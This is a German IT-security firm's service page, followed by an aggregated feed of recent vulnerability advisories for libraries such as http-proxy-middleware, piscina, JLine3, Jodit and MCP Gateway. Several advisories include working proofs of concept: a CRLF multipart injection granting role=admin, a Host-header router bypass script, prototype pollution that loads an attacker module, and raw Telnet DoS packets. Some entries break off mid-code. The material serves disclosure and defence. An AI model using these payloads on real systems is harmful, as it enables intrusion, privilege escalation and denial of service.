IT-Sicherheit - bleiben Sie auf dem Laufenden
Täglich werden neue Schwachstellen, Angriffs-Vektoren, Cyber-Attaken und Fehler in Software, Netzwerken und Infrastrukturen bekannt - teilweise betreffen diese nur bestimmte Softwarelösungen oder spezifische Szenarien, manchmal betreffen Sie jedoch auch ganze Industriezweige, weit verbreitete Arbeitsweisen und grundlegende Technologien wie bei Heartbleed (SSL) oder Log4Shell (Protokollierung). Ergreifen Sie Maßnahmen, um Ihre Infrastruktur und Daten sicher zu halten.
Gemeinsam erfassen wir, welche Komponten und Abhängigkeiten Sie einsetzen und überwachen die CVE und viele weitere Quellen um im Falle von Mängeln oder Angriffspunkten schnell handeln zu können.
Wir simulieren Angriffe und Testen Ihre Anwendungen, Webseiten, die Infrastruktur und Prozesse auf mögliche Sicherheitslücken, Mängel und Angriffsvektoren um Risiken fürhzeitig zu erknennen und Lücken zu schließen.
Wir implementieren aktiv Monitore und überwachen somit Anfragen um frühzeitig Angriffe und verdächtige Aktivitäten zu identifizieren. Verdächte Aktivitäten können zur Alarmierung oder zu automatischen Sperrungen und Ausschlüssen führen, um einen hohen Standard zu gewährleisten.
Den Bedrohungen der IT-Welt sind Sie nicht schutzlos ausgeliefert - es ist jedoch wichtig dem Thema IT-Sicherheit Aufmerksamkeit zu schenken, um einen verantwortungsbewussten und rechtskonformen Umgang mit Unternehmens- und Kundendaten zu gewährleisten.
| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 2 / 10 CVE-2026-55670 | vor 1 Stunde(n) | |
| ### Summary A flaw in the user lifecycle enforcement allowed deleted users to retain their original organization/tenant association. Recreating a deleted user under a distinct organization can cause the new user instance to be incorrectly provisioned within the original organization if the previous ID would be used to recreate it. ### Impact When a user is created, the system maps the generated or provided ID to its target organization (`Org A`). When that user is subsequently deleted, a deletion event is appended to the stream, but the historical mapping of the resource owner within the event store's validation layer is not cleared. If a new user is later provisioned in a different organization (`Org B`) using that exact same ID, the event store validation logic reads the stream's history, matches it to the original organization, and routes the new user's events to `Org A` instead of `Org B`. This issue represents a localized multi-tenancy isolation anomaly rather than an easily exploitable attack vector. Because the new user instance is incorrectly routed and provisioned inside `Org A` instead of `Org B`, an administrator from `Org A` inadvertently gains full access to this new user record. However, there is no technical mechanism for a malicious actor to force, automate, or target this behavior against a specific user or tenant. Because the scenario relies entirely on an accidental sequence of operational events and requires the recycling of a highly specific ID space, the practical security risk is exceptionally low. ### Affected Versions Systems running one of the following versions are affected: * **4.x:** `4.0.0` through `4.15.1` (including RC versions) * **3.x:** `3.0.0` through `3.4.11` (including RC versions) ### Patches The vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring the correct permission in case the verification flag is provided and only allows self-management of the email address, resp. phone number itself. - **4.x**: Upgrade to $\ge$[4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2) - **3.x**: Update to $\ge$[4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2) ### Workarounds The recommended solution is to upgrade to a patched version. ### Questions If you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com) ### Credits Thanks to Charlie Graven from Famedly for reporting this vulnerability. | ||
| Risiko 7.5 / 10 GHSA-47qp-hqvx-6r3f | vor 1 Stunde(n) | |
| ### Summary
The JLine3 Telnet server (`remote-telnet` module) does not limit the number of
environment variables a client may inject via the Telnet NEW-ENVIRON option. An
unauthenticated attacker can flood the server with a large number of unique
variable pairs before sending the terminating IAC SE byte, exhausting JVM heap
memory and causing an OutOfMemoryError (denial of service). Approximately 3–4 MB of
network traffic is sufficient to consume a 512 MB JVM heap.
### Details
`TelnetIO.readNEVariables()` (TelnetIO.java:1127-1180) processes incoming NEW-ENVIRON
variable pairs in a loop and stores each pair in a `HashMap` held by `ConnectionData`:
```java
// TelnetIO.java:1139-1178
boolean cont = true;
if (i == NE_VAR || i == NE_USERVAR) {
do {
switch (readNEVariableName(sbuf)) {
case NE_VAR_OK:
TelnetIO.this.connectionData.getEnvironment().put(str, sbuf.toString());
// ← no per-connection count limit
break;
case NE_VAR_UNDEFINED:
break; // cont remains true, loop continues
}
} while (cont); // cont is never set to false; only exits via return
}
```
The variable accumulator map is a plain `HashMap` initialized with capacity 20 and
**no maximum size**:
```java
// ConnectionData.java:98
environment = new HashMap |
||
| Risiko 7.5 / 10 GHSA-2r2c-cx56-8933 | vor 1 Stunde(n) | |
| ### Summary The JLine3 Telnet server (`remote-telnet` module) does not apply an upper bound to terminal dimensions received via the Telnet NAWS (Negotiate About Window Size) option. An unauthenticated remote attacker can send a NAWS subnegotiation advertising a 65535×65535 terminal and repeatedly alternate values to trigger continuous, expensive rendering work on the server, causing CPU exhaustion and denial of service. ### Details `TelnetIO.handleNAWS()` (TelnetIO.java:856-879) reads the client-supplied width and height as 16-bit unsigned integers and passes them to `setTerminalGeometry()`: ```java // TelnetIO.java:869-875 private void setTerminalGeometry(int columns, int rows) { if (columns < SMALLEST_BELIEVABLE_WIDTH) columns = DEFAULT_WIDTH; // lower bound only if (rows < SMALLEST_BELIEVABLE_HEIGHT) rows = DEFAULT_HEIGHT; connectionData.setTerminalGeometry(columns, rows); connection.processConnectionEvent( new ConnectionEvent(connection, ConnectionEvent.Type.CONNECTION_TERMINAL_GEOMETRY_CHANGED)); } ``` Only a *lower* bound is enforced (minimum 20 columns / 6 rows). Values up to 65535 are accepted and stored. The geometry change event propagates to Telnet.java:153-158 where it calls: terminal.setSize(new Size(65535, 65535)); terminal.raise(Signal.WINCH); The WINCH signal triggers `LineReaderImpl.handleSignal()` → `redisplay()`. Inside `redisplay()`, multiple paths iterate up to `size.getColumns()` times: - `freshLine()` (LineReaderImpl.java:937,953): loops `size.getColumns()-1` = **65534 iterations**, building and writing a space-padding string across the network socket. - `columnSplitLength(terminal, size.getColumns(), ...)`: called multiple times, each processing all characters against the 65535-wide line width. Because WINCH only fires on *change*, the attacker alternates between two large values (e.g., 65535 and 65534) to trigger an unlimited stream of expensive render cycles. No authentication is required; the NAWS option is negotiated before any login sequence. Affected source files: - `remote-telnet/src/main/java/org/jline/builtins/telnet/TelnetIO.java` lines 856-879 - `remote-telnet/src/main/java/org/jline/builtins/telnet/Telnet.java` lines 140-175 - `reader/src/main/java/org/jline/reader/impl/LineReaderImpl.java` lines 929-962, 1293-1313 ### PoC Send the following two raw Telnet packets in a loop to a running JLine Telnet server. No login or authentication is required. Packet 1 — NAWS 65535 × 65535: FF FA 1F FF FF FF FF FF F0 (IAC SB NAWS 0xFF 0xFF 0xFF 0xFF IAC SE) Packet 2 — NAWS 65534 × 65534: FF FA 1F FF FE FF FE FF F0 (IAC SB NAWS 0xFF 0xFE 0xFF 0xFE IAC SE) Sending these alternately at ~10 packets/second is sufficient to peg one CPU core on the server. The server remains in this state for as long as the connection is open. Reproduction environment: - JLine3 built from current master on x86_64 Linux, OpenJDK 25.0.2 - `remote-telnet` module started with its default `Telnet` server configuration - Test confirmed by source-code analysis and tracing the call chain at runtime ### Impact **Type**: Denial of Service (CPU exhaustion) **Who is affected**: Any application that embeds the JLine3 `remote-telnet` module and exposes its Telnet server on a network interface. The attacker requires no credentials. A single connection making ~10 alternating NAWS packets per second fully occupies the connection-handling thread and produces continuous I/O on the server's output stream. Because connection threads are re-used for the life of the session, one attacker per available connection slot can deny service to all users of that slot. ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. | ||
| Risiko 5 / 10 CVE-2026-55661 | vor 1 Stunde(n) | |
| TinaCMS rich-text parsing and the default link/image renderers did not sanitize the `url` field on Slate link/image nodes. Content containing `javascript:` or `data:text/html` URLs — including case-variant, whitespace-padded, and control-character-obfuscated forms — is rendered into `href`/`src` and executes when the content is viewed. Any actor able to author rich-text content (for example a lower-privileged editor, or imported/external content) can achieve stored XSS against editors and site viewers. Fixed in https://github.com/tinacms/tinacms/pull/7056 via a `sanitizeUrl()` helper (case-insensitive, whitespace/control-character-normalized scheme allow-list) applied recursively to Slate trees at parse time and in the default rich-text rendering. | ||
| Risiko 7.5 / 10 GHSA-2c85-rfcc-g74j | vor 1 Stunde(n) | |
| ### Summary
Karate Mock Server can execute embedded expressions found in attacker-controlled HTTP request data when a Mock Server feature assigns request-derived values such as `request`, `requestHeaders`, or `requestParams` to variables.
In affected scenarios, an unauthenticated remote attacker can place a Karate embedded expression such as `#(Java.type(...))` in the HTTP body, headers, or query parameters. The Mock Server then recursively processes that untrusted data as embedded expressions and evaluates it server-side, which can lead to arbitrary command execution under the privileges of the Karate Mock Server process.
This issue does not require the attacker to control the feature file. The vulnerable precondition is that the Mock Server feature uses request-derived data in a way that passes through Karate expression evaluation, for example:
```karate
* def body = request
* def hdrs = requestHeaders
* def params = requestParams
```
### Details
The issue is caused by a missing trust boundary between HTTP request-derived data and Karate feature-authored embedded expressions.
In `MockHandler`, the current HTTP request is stored and request-derived values are exposed to the Karate runtime. For example, the request body is made available through the `request` binding:
```java
// MockHandler.java
this.currentRequest = request;
request.processBody();
engine.put("request", (JsLazy) () ->
currentRequest != null ? currentRequest.getBodyConverted() : null);
```
`HttpRequest.getBodyConverted()` converts attacker-controlled JSON request bodies into Java objects such as `Map |
||
| Risiko 5 / 10 CVE-2026-55617 | vor 1 Stunde(n) | |
| ### Impact Hydro contains an insufficient session expiration vulnerability in its session recreation logic. When a session is recreated, including during logout or other session renewal flows, Hydro creates a new session token but does not delete the previous server-side session token. As a result, an old sid cookie may remain valid even after the legitimate user logs out or the session is recreated. An attacker who has obtained a victim's previous sid cookie can replay that cookie over HTTP or HTTPS and continue to access the affected Hydro instance as the victim. The attacker does not need the victim's username or password. Exploitation requires possession of a previously valid stale sid cookie, but no user interaction is required at exploitation time. Successful exploitation may allow account takeover within the affected Hydro instance. For a normal user account, this may allow disclosure of private data and unauthorized modification or deletion of data available to the victim. ### Patches The issue has been patched by deleting the old server-side session token before creating a new one during session recreation. Patched in: - Pull request: https://github.com/hydro-dev/Hydro/pull/1173 - Patch commit: https://github.com/hydro-dev/Hydro/commit/8450390fcce5f7dc3f11c43a14f1d76dbb949a0d - Merge commit: https://github.com/hydro-dev/Hydro/commit/8d76be8f0b83d911bf7671962b0467e9d4b5719a Users should upgrade to a version containing this patch. ### Workarounds If upgrading immediately is not possible, administrators should reduce the risk by forcing all existing sessions to expire or by clearing the server-side session token store after applying a local patch. Administrators should also review logs for suspicious use of stale sid cookies and rotate any exposed session cookies. However, these mitigations do not fully fix the vulnerability. The recommended remediation is to upgrade to a patched version. | ||
| Risiko 7.5 / 10 CVE-2026-55603 | vor 1 Stunde(n) | |
| ## Summary `fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**: ```js // dist/handlers/fix-request-body.js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1'); let str = ''; for (const [key, value] of Object.entries(data)) { str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`; } } ``` A `\r\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. By contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping. ## Preconditions All three must hold; this narrows real-world exposure and is the basis for `AC:H`: 1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input. 2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. 3. The app calls `fixRequestBody` (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key. > Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser. ## Impact When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend: - **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin). - **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices). - **File-part injection** inject a `filename="..."` part into the upstream multipart stream. ## Proof of Concept ```js // npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs) import { fixRequestBody } from 'http-proxy-middleware'; // `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it. // The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF: const req = { readableLength: 0, body: { user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--' }}; // Minimal stand-in for the outgoing proxy request; capture what gets written. const out = []; const proxyReq = { h: { 'content-type': 'multipart/form-data; boundary=BB' }, getHeader(n){ return this.h[n.toLowerCase()]; }, setHeader(n,v){ this.h[n.toLowerCase()] = v; }, write(d){ out.push(Buffer.from(d)); }, }; fixRequestBody(proxyReq, req); // library rebuilds the multipart body console.log(Buffer.concat(out).toString()); ``` Output: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF: ``` --BB Content-Disposition: form-data; name="user" alice --BB Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys admin --BB-- ``` `req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--` ## Remediation Neutralize CR/LF (and `"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix: ```js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1'); const bad = /[\r\n]/; let str = ''; for (const [key, value] of Object.entries(data)) { const v = String(value); if (bad.test(key) || bad.test(v)) { throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value'); } str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`; } } ``` (Reject is preferable to silent stripping, to avoid masking malicious input.) | ||
| Risiko 5 / 10 CVE-2026-55602 | vor 1 Stunde(n) | |
| # Summary `http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. # Details Tested code state: - validated on tag `v4.0.0-beta.5` - corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358` Relevant code locations: - `src/router.ts` - `src/http-proxy-middleware.ts` Affected public API: - `createProxyMiddleware({ router: { 'host/path': 'http://target' } })` Code explanation: When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if: ```ts hostAndPath.indexOf(key) > -1 ``` That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is: ```txt localhost:3000/api ``` but the attacker-controlled host is: ```txt evillocalhost:3000 ``` and the request path is: ```txt /api ``` The concatenated attacker-controlled string: ```txt evillocalhost:3000/api ``` still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host. Exploit path: 1. the application enables the documented proxy-table `router` feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted `Host` header 3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying 4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching 5. the request is proxied to the wrong backend ## PoC Create these files in the same working directory and run: ```bash bash ./run.sh ``` ### File: `run.sh` ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_URL="https://github.com/chimurai/http-proxy-middleware.git" REPO_REF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" REPRO_DIR="${WORKDIR}/reproduction" IMAGE_TAG="http-proxy-middleware-router-bypass-poc" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT echo "[a3] cloning target repository" git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}" mkdir -p "${REPRO_DIR}" cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs" echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}" echo "[a3] running verification" docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs ``` ### File: `Dockerfile` ```Dockerfile FROM node:22-bullseye WORKDIR /work COPY repo/package.json repo/yarn.lock /work/repo/ RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile COPY repo /work/repo RUN cd /work/repo && yarn build COPY reproduction /work/reproduction ``` ### File: `verify.mjs` ```js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict'; import { createProxyMiddleware } from '/work/repo/dist/index.js'; const ROUTER_KEY = 'localhost:3000/api'; const CRAFTED_HOST = 'evillocalhost:3000'; function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); } function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); } function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); } const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); }); const secretBackend = http.createServer((req, res) => { res.end('SECRET'); }); const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NO_PROXY'); }); }); try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs')); await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok'); const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(`STEP baseline-route body=${baseline.body}`); const crafted = await request('/api', CRAFTED_HOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]); console.log(`STEP crafted-route body=${crafted.body}`); console.log('RESULT reproduced host_header_injection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); } ``` This PoC starts: - one default backend returning `DEFAULT` - one alternate backend returning `SECRET` - one proxy using: ```js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); ``` It then sends: 1. a baseline request to `/api` with `Host: safe.example:3000` 2. a crafted request to `/api` with `Host: evillocalhost:3000` Observed result from the validated PoC: - baseline request: `STEP baseline-route body=DEFAULT` - crafted request: `STEP crafted-route body=SECRET` - success marker: `RESULT reproduced host_header_injection router substring match bypass` The PoC is considered successful only if: 1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host # Impact This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header. | ||
| Risiko 5 / 10 CVE-2026-55254 | vor 1 Stunde(n) | |
| ### Impact A denial-of-service (DoS) vulnerability exists in the factorial operator implementation of NCalc. Specially crafted expressions containing extremely large factorial operands can trigger excessive CPU consumption or cause evaluation to enter a non-terminating loop due to integer overflow in the factorial calculation logic. Applications that evaluate untrusted expressions using affected versions of NCalc may be vulnerable to resource exhaustion, potentially resulting in service disruption or application unresponsiveness. This issue can be triggered with expressions such as: ```text 99999999999999! 9223372036854775807! 1.5e16! ``` ### Patches The vulnerability has been fixed by adding bounds validation for factorial operands and rejecting unsupported values before evaluation. Users should upgrade to the first release containing the fix from pull request #575. (**v6.1.1+**) ### Workarounds If upgrading is not immediately possible: * Do not evaluate expressions originating from untrusted users. * Validate or sanitize expressions before evaluation and reject factorial operations on large values. * Implement execution time limits, request timeouts, or cancellation mechanisms around expression evaluation. These mitigations may reduce exposure but do not fully address the underlying vulnerability. | ||
| Risiko 7.5 / 10 CVE-2026-55388 | vor 1 Stunde(n) | |
| ## Summary
`piscina`'s constructor and `run()` paths read the `filename` option via plain member access:
```js
// dist/index.js line 92 (constructor)
const filename = options.filename
? (0, common_1.maybeFileURLToPath)(options.filename)
: null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
if (options === null || typeof options !== 'object') {
return Promise.reject(new TypeError('options must be an object'));
}
const { transferList, filename, name, signal } = options;
```
Both reads fall through the prototype chain when the caller's options object doesn't have `filename` as an own property. When `Object.prototype.filename` is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to `worker_threads.Worker` import and the attacker's `.mjs` runs in the worker.
**Subtlety**: calling `pool.run(task)` with no second arg uses `kDefaultRunOptions` which has `filename: null` as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly `{signal: ac.signal}` for abort support, `{name: ...}` for task labelling, etc.). These caller-built options objects inherit from `Object.prototype` unless the caller explicitly uses `Object.create(null)`.
## Impact
Two preconditions:
1. **Upstream PP-source** somewhere in the process — common in transitive deps
2. **Attacker-controllable `.mjs`** at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain
Once both fire:
- Every `pool.run(task, opts)` call across the entire process is hijacked
- Attacker's exported function is called with the legitimate caller's task data — **attacker reads per-request app data**
- Attacker controls the return value — caller receives `worker_response.by = "ATTACKER-WORKER"` and any other attacker-supplied response fields — **attacker can poison return values to legitimate clients**
- Hijack persists until process restart
Strictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).
## Affected versions
Empirically verified vulnerable on `piscina@5.1.4` (latest stable at time of disclosure). The bug shape is in the constructor's `options.filename` read at line 92 of `dist/index.js`, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.
## Proof of concept
### A) Minimal in-process PoC
```js
import fs from 'fs';
// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
import fs from 'fs';
fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
}));
export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);
// 2) Upstream PP-source — pollute Object.prototype.filename
// (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
// and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
vulnMerge({}, payload);
// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({}); // inherits filename
const result = await p.run({}); // worker imports /tmp/atk.mjs
await p.destroy();
// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"
```
### B) Full-stack HTTP chain (this is the realistic shape)
A correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call `pool.run(req.body, {signal: ac.signal})` — the standard abort-aware shape.
```js
// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';
// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
// CORRECT pool init at boot
const pool = new Piscina({
filename: './valid-worker.mjs',
minThreads: 1, maxThreads: 2,
});
const config = {};
const app = express();
app.post('/api/settings', express.json(), (req, res) => {
vulnMerge(config, req.body); // PP source
res.json({ ok: true });
});
app.post('/api/process', express.json(), async (req, res) => {
const ac = new AbortController();
const result = await pool.run(req.body, { signal: ac.signal }); // <-- hijacked
res.json({ ok: true, worker_response: result });
});
app.listen(7755);
// === Attacker, 3 HTTP requests ===
// POST /upload → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
// → worker imports /tmp/atk.mjs
// → attacker fn called with req.body of THIS request
// → caller receives attacker-shaped response
```
Empirical observation on `piscina@5.1.4` + Node 23.11.0:
- Pre-attack `/api/process` returns `{by: 'valid-worker'}`
- Cold-path `/probe` after PP source confirms `({}).filename` is polluted process-wide
- Post-attack `/api/process` returns `{by: 'ATTACKER-WORKER', processed: |
||
| Risiko 7.5 / 10 CVE-2026-55887 | vor 1 Stunde(n) | |
| ## Summary A maliciously crafted OCI image label can inject arbitrary arguments into the `docker run` command line constructed by the MCP Gateway. An attacker who controls an image that the victim references via `docker://`, or that the victim's catalog pulls a snapshot from, can mount the host filesystem, run as UID 0, and execute arbitrary code on the host. ## Details The `io.docker.server.metadata` OCI image label is YAML-unmarshalled directly into the wide `catalog.Server` struct, which carries runtime-shaping fields (`Volumes`, `User`, `Command`, `ExtraHosts`, `AllowHosts`, `DisableNetwork`, `Env`, `Remote`, `SSEEndpoint`, `OAuth`,`Secrets`, `LongLived`, `Policy`) alongside descriptive fields. Every runtime field carries a YAML tag, so the unmarshal mass-assigns from the attacker-controlled label content; only `Image` is overwritten afterwards. The gateway's container-launch code then appends those fields verbatim as `docker run` flags (`-v`, `-u`, `--add-host`) with no allowlist or origin check, and execs `docker` with the resulting argv. ## Impact A malicious image author can achieve arbitrary code execution as UID 0 on the host of a victim running an affected version of MCP Gateway. Attacker-injected `-v /:/host`, `-u root`, and `-v /var/run/docker.sock:/var/run/docker.sock` arguments reach the `docker run` invocation that launches the MCP server container, giving the attacker full host filesystem access and root execution. The container/host trust boundary is bypassed at container-creation time, so the `--security-opt no-new-privileges` flag the gateway applies provides no protection: no in-container privilege escalation is needed. ## Patches The OCI image-label parser now only populates descriptive fields from the image label, which excludes fields that control the container runtime. ## Credit This issue was reported by Jabr Al-Otaibi `@ DarkCov` working with TrendAI Zero Day Initiative | ||
| Risiko 5 / 10 CVE-2026-55886 | vor 1 Stunde(n) | |
| ### Summary `Jodit.modules.Helpers.set(chain, value, obj)` walks the dot-separated `chain`, creating and following each path segment, without filtering prototype-mutating keys. A chain that begins with (or contains) `__proto__`, `constructor`, or `prototype` lets the final assignment reach and mutate `Object.prototype` (prototype pollution). ### Affected - Package: `jodit` (npm) - Versions: `< 4.12.26` - Public API: `Jodit.modules.Helpers.set(chain, value, obj)` ### Proof of Concept ```js const { Jodit } = require('jodit'); delete Object.prototype.polluted; Jodit.modules.Helpers.set('__proto__.polluted', 'yes', {}); console.log(({}).polluted); // "yes" (before the fix) delete Object.prototype.polluted; ``` ### Impact Applications that pass a user-controlled or partially user-controlled key path into `Jodit.modules.Helpers.set()` could be vulnerable to prototype pollution (CWE-1321): unexpected property injection, logic bypass, denial of service, or secondary security issues. ### Patch Fixed in 4.12.26 by rejecting any `chain` whose segments include `__proto__`, `constructor`, or `prototype`, reusing the same guard introduced for `Jodit.configure()` in 4.12.18. ### Credit Responsibly reported by Junming Wu. | ||
| Risiko 7.5 / 10 CVE-2026-55229 | vor 1 Stunde(n) | |
**Summary**
Server-Side Request Forgery (SSRF) vulnerability affecting the `/forms/libreoffice/convert` endpoint in Gotenberg v8.33.0 running with the default configuration.
By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.
Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.
**PoC**
**External Resource Retrieval**
Create a DOCX document containing the following content:
` `
Upload the document to the `/forms/libreoffice/convert `endpoint.
During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.
Result in output document (used payload - ` `):
|
||
| Risiko 5 / 10 CVE-2026-55226 | vor 1 Stunde(n) | |
